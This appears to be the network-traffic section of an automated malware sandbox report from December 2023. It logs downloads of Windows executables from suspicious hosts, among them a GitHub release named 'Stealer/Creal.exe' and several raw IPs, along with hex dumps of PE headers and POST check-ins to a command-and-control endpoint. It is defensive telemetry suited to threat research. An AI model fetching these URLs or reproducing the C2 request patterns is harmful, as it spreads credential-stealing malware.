Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Dec 2023 14:35:01 GMTContent-Type: application/octet-streamContent-Length: 428544Last-Modified: Tue, 19 Dec 2023 16:39:55 GMTConnection: keep-aliveETag: "6581c75b-68a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 77 44 fe d8 33 25 90 8b 33 25 90 8b 33 25 90 8b 68 4d 93 8a 3d 25 90 8b 68 4d 95 8a ad 25 90 8b 68 4d 94 8a 20 25 90 8b e6 48 94 8a 21 25 90 8b e6 48 93 8a 27 25 90 8b e6 48 95 8a 46 25 90 8b 68 4d 91 8a 22 25 90 8b 33 25 91 8b e3 25 90 8b a8 4b 99 8a 32 25 90 8b a8 4b 6f 8b 32 25 90 8b a8 4b 92 8a 32 25 90 8b 52 69 63 68 33 25 90 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ab 20 4d 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ec 04 00 00 ae 01 00 00 00 00 00 d9 d9 01 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 05 06 00 78 00 00 00 00 70 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 06 00 ac 4c 00 00 50 94 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 95 05 00 18 00 00 00 88 94 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 ac 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1a ea 04 00 00 10 00 00 00 ec 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 14 01 00 00 00 05 00 00 16 01 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f4 46 00 00 00 20 06 00 00 34 00 00 00 06 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 70 06 00 00 02 00 00 00 3a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 4c 00 00 00 80 06 00 00 4e 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 14:35:04 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Tue, 19 Dec 2023 06:26:54 GMTETag: "e8400-60cd6f3e6f9d3"Accept-Ranges: bytesContent-Length: 951296Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 77 50 46 af 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 78 0e 00 00 0a 00 00 00 00 00 00 4a 97 0e 00 00 20 00 00 00 a0 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f6 96 0e 00 4f 00 00 00 00 a0 0e 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0e 00 0c 00 00 00 04 80 0e 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 77 0e 00 00 20 00 00 00 78 0e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 38 06 00 00 00 a0 0e 00 00 08 00 00 00 7a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 0e 00 00 02 00 00 00 82 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2a 97 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 5c 5c 00 00 f8 1a 04 00 03 00 00 00 38 00 00 06 54 77 04 00 b0 08 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 2a 00 13 30 02 00 31 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 15 00 00 0a 17 fe 01 0a 06 2c 1e 00 7e 01 00 00 04 6f 16 00 00 0a 00 7e 01 00 00 04 6f 17 00 00 0a 00 14 80 01 00 00 04 00 2a 00 00 00 13 30 03 00 51 00 00 00 02 00 00 11 00 02 7e 01 00 00 04 73 18 00 00 0a 0a 06 02 7e 01 00 00 04 73 19 00 00 0a 6f 1a 00 00 0a 00 06 6f 1b 00 00 0a 7e 01 00 00 04 6f 1c 00 00 0a 00 06 6f 1b 00 00 0a 02 6f 1d 00 00 0a 00 73 1e 00 00 0a 0b 06 07 6f 1f 00 00 0a 26 07 0c 2b 00 08 2a 0a 00 2a 0a 00 2a 00 13 30 01 00 07 00 00 00 01 00 00 11 00 17 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 03 00 00 11 00 72 01 00 00 70 0a 2b 00 06 2a 0a 00 2a 00 00 13 30 01 00 07 00 00 00 01 00 00 11 00 16 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 03 00 00 11 00 72 01 00 00 70 0a 2b 00 06 2a 22 02 28 20 00 00 0a 00 2a 5e 02 14 7d 03 00 00 04 02 28 21 00 00 0a 00 00 02 28 14 00 00 06 00 2a 0a 00 2a 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 14:35:07 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Mon, 18 Dec 2023 16:41:12 GMTETag: "d8e40-60ccb6afaee88"Accept-Ranges: bytesContent-Length: 888384Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad b1 28 81 e9 d0 46 d2 e9 d0 46 d2 e9 d0 46 d2 2a df 19 d2 eb d0 46 d2 e9 d0 47 d2 76 d0 46 d2 2a df 1b d2 e6 d0 46 d2 bd f3 76 d2 e3 d0 46 d2 2e d6 40 d2 e8 d0 46 d2 52 69 63 68 e9 d0 46 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 35 ca 4d 58 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 00 00 00 d0 01 00 00 04 00 00 bf 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 04 00 00 56 7c 0e 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 74 00 00 a0 00 00 00 00 50 03 00 00 46 00 00 00 00 00 00 00 00 00 00 08 6c 0d 00 38 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 59 5e 00 00 00 10 00 00 00 60 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 46 12 00 00 00 70 00 00 00 14 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a8 01 00 00 90 00 00 00 04 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 01 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 00 46 00 00 00 50 03 00 00 46 00 00 00 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Dec 2023 14:35:16 GMTContent-Type: application/octet-streamContent-Length: 769536Last-Modified: Wed, 20 Dec 2023 14:30:02 GMTConnection: closeETag: "6582fa6a-bbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 f0 cd ba 62 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 f0 09 00 00 02 44 00 00 00 00 00 a5 3e 00 00 00 10 00 00 00 00 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 4d 00 00 04 00 00 30 9e 0c 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 2b 0a 00 78 00 00 00 00 50 4c 00 40 7b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 01 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 1e 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 a8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 22 ee 09 00 00 10 00 00 00 f0 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e6 34 00 00 00 00 0a 00 00 36 00 00 00 f4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 06 42 00 00 40 0a 00 00 18 00 00 00 2a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 7b 01 00 00 50 4c 00 00 7c 01 00 00 42 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Dec 2023 14:35:28 GMTContent-Type: application/octet-streamContent-Length: 308736Last-Modified: Mon, 18 Dec 2023 16:30:02 GMTConnection: closeETag: "6580738a-4b600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 28 a9 f4 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6c 02 00 00 78 44 00 00 00 00 00 84 30 00 00 00 10 00 00 00 80 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 46 00 00 04 00 00 30 df 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 c3 02 00 64 00 00 00 00 e0 44 00 98 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 81 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b9 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 02 00 90 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f6 6a 02 00 00 10 00 00 00 6c 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ce 4c 00 00 00 80 02 00 00 4e 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e0 07 42 00 00 d0 02 00 00 1a 00 00 00 be 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 dc 01 00 00 e0 44 00 00 de 01 00 00 d8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 14:37:01 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Mon, 18 Dec 2023 20:40:44 GMTETag: "f9108-60ccec390c7f1"Accept-Ranges: bytesContent-Length: 1020168Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad b1 28 81 e9 d0 46 d2 e9 d0 46 d2 e9 d0 46 d2 2a df 19 d2 eb d0 46 d2 e9 d0 47 d2 76 d0 46 d2 2a df 1b d2 e6 d0 46 d2 bd f3 76 d2 e3 d0 46 d2 2e d6 40 d2 e8 d0 46 d2 52 69 63 68 e9 d0 46 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 35 ca 4d 58 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 00 00 00 d0 01 00 00 04 00 00 bf 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 06 00 00 04 00 00 f1 c5 0f 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 74 00 00 a0 00 00 00 00 50 03 00 20 a3 02 00 00 00 00 00 00 00 00 00 b0 6e 0f 00 58 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 59 5e 00 00 00 10 00 00 00 60 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 46 12 00 00 00 70 00 00 00 14 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a8 01 00 00 90 00 00 00 04 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 01 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 20 a3 02 00 00 50 03 00 00 a4 02 00 00 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /dl/3467996/anydesk.exe HTTP/1.1Host: tmpfiles.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /e0cbefcb1af40c7d4aff4aca26621a98.exe HTTP/1.1Host: mrproper.org
Source: global traffic	HTTP traffic detected: GET /9f4658d103ba0f0693c21ed9db84a626/e0cbefcb1af40c7d4aff4aca26621a98.exe HTTP/1.1Host: domen414.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fra1zz1337/Stealer/releases/download/Stealer/Creal.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/730980012/1afd11ac-e4a1-428c-a564-7314ebd8796f?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20231220%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20231220T143509Z&X-Amz-Expires=300&X-Amz-Signature=871a7453af08742c9fb7b10ebff1db493fcf8bc4e34d70bcde5bc414a3d2fed5&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=730980012&response-content-disposition=attachment%3B%20filename%3DCreal.exe&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Kolodi.exe HTTP/1.1Host: edarululoom.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /n0sca HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /wp-admin/user/513/Voiceaibeta-5.13.exe HTTP/1.1Host: comediantes.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_errorpages/spfasiazx.exe HTTP/1.1Host: china.dhabigroup.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/user/513/voice5.13sert.exe HTTP/1.1Host: comediantes.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_errorpages/somzx.exe HTTP/1.1Host: china.dhabigroup.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /_errorpages/spfasiazx.exe HTTP/1.1Host: china.dhabigroup.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /build3.exe HTTP/1.1Host: 185.172.128.19Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /alex.exe HTTP/1.1Host: 91.92.253.29Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ghsdh39s/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /ghsdh39s/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Source: global traffic	HTTP traffic detected: GET /2545/wlanext.exe HTTP/1.1Host: 198.46.178.135Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /ghsdh39s/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000083001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /ghsdh39s/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
